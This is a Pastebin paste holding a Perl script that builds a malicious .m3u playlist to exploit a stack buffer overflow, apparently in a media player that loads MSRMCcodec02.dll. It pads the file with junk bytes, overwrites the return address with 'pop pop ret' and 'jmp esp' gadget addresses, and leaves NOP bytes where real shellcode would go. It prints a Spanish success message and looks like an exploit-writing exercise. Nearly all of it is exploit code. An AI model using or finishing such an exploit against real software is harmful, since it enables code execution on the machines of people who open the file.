Advertisement
Guest User

Untitled

a guest
Mar 31st, 2014
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.58 KB | None | 0 0
  1. my $file= "pop-ret.m3u";
  2. my $junk= "A" x 26061;
  3. my $eip = pack('V',0x01BD1111); # "pop pop ret" from MSRMCcodec02.dll
  4. my $jmpesp = pack('V',0x7E3A9353); # "jmp esp" from MSRMCcodec02.dll
  5. my $prependesp = "XXXX"; # add 4 bytes so ESP points at beginning of shellcode bytes
  6. my $shellcode = "\x90" x 8; # add more bytes
  7. $shellcode = $shellcode . "CCCC"; # address to return via pop pop ret ( = jmp esp)
  8. $shellcode = $shellcode . "\x90" x 50; # real shellcode
  9.  
  10. open($FILE,">$file");
  11. print $FILE $junk.$eip.$prependesp.$shellcode;
  12. close($FILE);
  13. print "Archivo m3u creado con exito\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement